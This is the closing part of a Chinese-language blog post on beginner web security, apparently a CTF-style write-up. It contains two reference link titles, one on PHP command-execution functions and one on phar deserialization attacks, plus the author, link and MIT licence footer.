PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec() - gaohj - 博客园 (cnblogs.com)
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
- 本文作者: 9C±Void
- 本文链接: https://cauliweak9.github.io/2024/05/20/web-newbie/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!